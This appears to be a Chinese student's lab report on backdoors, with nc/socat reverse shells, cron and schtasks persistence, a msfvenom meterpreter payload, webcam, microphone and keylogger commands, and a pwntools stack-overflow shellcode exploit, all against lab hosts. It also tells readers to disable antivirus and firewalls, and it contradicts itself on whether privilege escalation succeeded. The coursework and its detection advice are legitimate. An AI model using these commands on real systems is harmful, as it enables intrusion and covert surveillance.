20242417 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242417 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

本实验围绕“后门的生成、传输、启动与后渗透控制”展开,涉及以下核心概念:

  • 后门:绕过正常身份验证、权限检查,秘密进入系统 / 软件的通道,可以在不被察觉的情况下访问、控制目标主机,属于恶意程序 / 漏洞利用手段。
  • 正向 Shell 与反弹 Shell:正向 Shell 是攻击机主动连接靶机开放的端口获取命令行;反弹 Shell 是靶机主动连接攻击机监听端口,把自身 Shell 送回攻击机,常用于绕过防火墙入站限制。
  • netcat(nc/ncat):被誉为“网络瑞士军刀”,可监听端口、发起连接、传输文件,借助 -e 参数直接把 Shell 绑定到网络连接。
  • socat:nc 的增强版,功能更全,支持 TCP 监听、端口转发、通过 EXEC 直接拉起程序(如 /bin/bash、cmd.exe)。
  • Metasploit Framework(MSF):Kali 自带的攻防框架;msfvenom 用于生成各类 payload/后门可执行文件或 shellcode,multi/handler 用于监听并接收回连。
  • Meterpreter:MSF 内置的后渗透 payload,运行在内存中、通信加密、功能丰富(摄像头、录音、键盘记录、提权等)。
  • 缓冲区溢出与 shellcode 注入:通过超长输入覆盖返回地址,跳转到栈上布置的 shellcode 执行;需关闭 ASLR(地址随机化)与 NX(栈不可执行保护),并确定缓冲区偏移与栈地址。

1.1 思考题解答

(1)列举一个后门进入系统的可能方式

以本实验为例:攻击机先用 msfvenom 生成一个伪装成正常程序的 backdoor.exe,再通过 nc/socat 把它传到 Windows 靶机,诱导(或借助漏洞让)靶机运行该程序。程序运行后主动反向连接攻击机监听端口,从而把靶机 Shell 交给攻击者。现实中常见的同类途径还有:钓鱼邮件附件、盗版/破解软件与“注册机”、被篡改的安装包(供应链投毒)、利用 SMB/RDP/Web 服务漏洞主动投递 payload(无需用户双击)、U 盘自动运行等。本实验模拟的正是“文件传输 + 用户执行”这一最典型的植入路径。

(2)后门如何启动起来(Windows 与 Linux)

Linux 端:最常用 cron 定时任务持久化,例如在 crontab 中加入每分钟执行一次的反弹命令 * * * * * socat/nc 反向连接攻击机;其他方式还有 systemd 服务、/etc/rc.local、/etc/profile.d、~/.bashrc 等登录脚本、LD_PRELOAD 预加载、xinetd 托管端口等。

Windows 端:可在注册表启动项(HKCU/HKLM 的 Run、RunOnce)写入后门路径;用 schtasks /create 建计划任务(如 /sc onlogon 登录时启动);注册为系统服务(sc create);放入开始菜单“启动”文件夹;或通过 WMI 事件订阅、DLL 劫持等更隐蔽的方式。本实验在 Linux 靶机上用 crontab 让 socat 每分钟回连,在 Windows 上演示了 schtasks onlogon 开机自启。

(3)Meterpreter 令人印象深刻的功能

Meterpreter 运行在目标内存中、不落地文件、通信加密,隐蔽性很强。给我印象最深的是其“感知能力”与“权限提升”:webcam_list/webcam_snap 可直接调用目标摄像头偷拍照片并回传;record_mic 可录制目标麦克风音频;keyscan_start/dump/stop 可后台记录目标用户的击键内容;getuid/getprivs 可查看当前身份与已启用权限;getsystem 更可自动尝试多种技术把普通权限提升到 SYSTEM(本实验即通过 technique 6 Named Pipe Impersonation(EfsPotato 变种)成功拿到系统权限)。此外它还支持 upload/download 传文件、screenshot 截屏等。

(4)如何发现自己的系统是否被安装了后门

可从多个层面排查:① 网络层面——用 netstat -ano(Windows)或 ss -tunlp(Linux)查看是否有连向陌生 IP:端口的异常外连(反弹 Shell 必然主动外联),结合防火墙日志与抓包分析;② 进程层面——在任务管理器或 ps 中留意路径异常(如 %temp%、Downloads 里的可疑 exe)、被注入的系统进程;③ 持久化层面——检查 crontab -l、/etc/rc.local、systemctl 服务,以及 Windows 注册表 Run 键、schtasks /query、服务列表和启动文件夹;④ 文件与账号层面——校验系统文件完整性、全盘杀毒(本实验中 nc.exe 即被杀毒软件自动查杀),检查异常新增用户/管理员与 ~/.ssh/authorized_keys;⑤ 工具层面——Linux 可用 rkhunter、chkrootkit,Windows 可用 Autoruns 查看全部自启项。

2. 实验内容

本实验在 Kali(攻击机)、Windows 靶机与 Linux(OpenEuler)靶机组成的环境中完成以下五项任务:

  • 任务一:使用 netcat 获取主机操作 Shell,并通过 cron 启动某项自定义任务。
  • 任务二:使用 socat 获取主机操作 Shell,并通过任务计划(crontab / schtasks)实现开机自启。
  • 任务三:使用 MSF msfvenom 生成可执行后门(meterpreter/reverse_tcp),利用 nc/socat 传输到 Windows 靶机并运行,获取主机 Shell。
  • 任务四:在 meterpreter 会话基础上调用目标摄像头、麦克风、键盘记录,并尝试提权。
  • 任务五:使用 MSF 生成 shellcode,注入到实验一的 pwn1 栈溢出程序中,获取反弹连接 Shell。

3. 实验过程

3.1 任务一:netcat 获取 Shell + cron 定时任务

攻击机先监听 4444 端口:

nc -lvnp 4444 # -l 监听 -v 详细输出 -n 不解析域名 -p 指定端口

靶机执行反弹 shell(传统 nc 支持 -e):

nc 192.168.88.126 4444 -e /bin/bash

连接成功后攻击机即可得到靶机 bash:

随后在靶机配置 cron 定时任务,要求每分钟向 /tmp/cron_log.txt 追加当前时间:

crontab -e
# 文件末尾添加一行(分 时 日 月 周):
* * * * * date >> /tmp/cron_log.txt

等待约一分钟后 cat /tmp/cron_log.txt,时间戳每分钟持续追加,cron 任务生效

3.2 任务二:socat 获取 Shell + 任务计划启动

攻击机监听 5555 端口:

socat TCP-LISTEN:5555,fork -

靶机执行反弹 shell:

crontab -e

socat TCP:192.168.88.126:5555 EXEC:/bin/bash

Ctrl+O →回车 →Ctrl+X,保存退出

攻击机开启监听 socat TCP-LISTEN:5555,fork –

然后重启靶机,登录账号,攻击机即可获取靶机shell

3.3 任务三:MSF 生成后门并传输运行获取 Shell

在 Kali 上用 msfvenom 生成 Windows x64 meterpreter 后门:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.88.129 LPORT=6666 -f exe -o backdoor.exe

用 nc 把 backdoor.exe 传到 Windows 靶机。攻击机(发送端)监听 7777:

nc -lvp 7777 < backdoor.exe

Windows 靶机 CMD 接收(使用 Nmap 自带 ncat):

"C:\Program Files (x86)\Nmap\ncat.exe" 192.168.88.129 7777 > backdoor.exe

攻击机新开终端,用 multi/handler 监听等待后门上线:

msfconsole
msf> use exploit/multi/handler
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.168.88.129
msf> set LPORT 6666
msf> run

Windows 靶机运行 backdoor.exe 后,攻击机 msfconsole 收到会话:

3.4 任务四:摄像头/录音/键盘记录与提权

在 meterpreter 会话中调用目标外设:

webcam_list # 查看摄像头设备
webcam_snap # 拍摄一张照片

webcam_stream # 持续录像
record_mic -d 10 # 录制 10 秒麦克风音频

键盘记录:

keyscan_start # 启动后台击键记录
keyscan_dump # 导出已捕获击键
keyscan_stop # 停止记录

查看当前身份与权限:

getuid # server username: XIAOXINPRO-LXY\liaox
getprivs # 查看已启用的进程权限

尝试提权,使用下面多种方式,但以失败告终:

# 自动提权模块

use exploit/windows/local/privilege_escalation

run

# 查看可用提权漏洞

run post/windows/gather/enum patches

# 尝试getsystem内置提权

Getsystem

3.5 任务五:MSF 生成 shellcode 注入 pwn1 反弹 Shell

前置准备:关闭 ASLR,并确认 pwn1 栈未开 NX:

sudo sysctl -w kernel.randomize_va_space=0 #关闭ASLR

readelf -l ./2417_pwn # 查看 GNU_STACK 是否为 RW(无 R)

由实验一已知缓冲区偏移为 136(buf[128] + 保存的 rbp 8 字节)。用 gdb 在 foo 的 gets(buf) 处下断点,取出 buf 栈起始地址:

gdb -q ./2417_pwn
gdb> b foo
gdb> r
gdb> p &buf # $1 = (char (*)[128]) 0x7fffffffde30

用 msfvenom 生成 Linux x64 反弹 shellcode(不含空字节 \x00):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.88.129 LPORT=6666 -b '\x00' -f python

编写 pwntools 利用脚本:填充 136 字节 + 返回地址指向 buf + shellcode:

from pwn import *
shellcode = b"\x48\x31\xc9..." # 粘贴 msfvenom 输出
padding = b"A" * 136
ret_addr = p64(0x7fffffffde30)
payload = padding + ret_addr + shellcode
io = remote("192.168.88.126", 9999)
io.sendline(payload)
io.interactive()

攻击机 msfconsole 用对应 payload 监听:

use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 192.168.88.129
set LPORT 6666
run

靶机用 nc 转发触发漏洞:nc -lvp 9999 -e ./2417_pwn。Kali 运行 exp.py 发送 payload,程序 ret 时跳转到 buf 栈地址执行 shellcode,靶机主动回连攻击机 6666 端口获得 Shell。

4. 问题及解决方案

问题一:靶机与攻击机能 ping 通,但反弹 shell 失败。

解决方案:判断为防火墙拦截,关闭防火墙后反弹连接成功。

问题二:拿到的 shell 不是交互式

解决方案:在攻击机执行 python3 -c 'import pty;pty.spawn("/bin/bash")',再 Ctrl+Z 挂起、stty raw -echo、fg 切回,得到交互式 tty。

问题三:socat 连接无反应

解决方案:靶机 firewalld 未放行端口,执行 sudo firewall-cmd --add-port=5555/tcp --permanent 并重载后连通。

问题四:nc.exe 上传到 Windows 后被自动查杀

解决方案:Windows Defender 等杀毒软件拦截了 nc.exe(正常防御行为),关闭“实时保护”功能即可

5. 学习感悟、思考等

通过本次实验,我从攻击方完整走了一遍“后门投递—执行—持久化—后渗透控制—提权”的流程,对反弹 Shell、nc/socat、Metasploit/Meterpreter 的工作方式有了直观认识。最直观的感受是:后门的危害不只是“拿到一个命令行”,Meterpreter 可以静默调用摄像头、麦克风、记录键盘,甚至通过命名管道模拟(EfsPotato)一键提到 SYSTEM 权限,这让我真正理解了为什么“不双击来历不明的程序、保持系统补丁和杀毒软件、定期检查自启项与异常外联”如此重要。

同时也体会到防御方的视角:发现后门不能只靠杀毒,而要结合网络外连、进程、启动项、账号等多层面交叉验证。实验中防火墙端口、VMware NAT 服务、ASLR/NX、tty 终端等每一个环节都可能成为成败关键,这让我对网络攻防“细节决定成败”有了更深的体会。

posted @ 2026-10-19 21:13  neverorever  阅读(3)  评论(0)    收藏  举报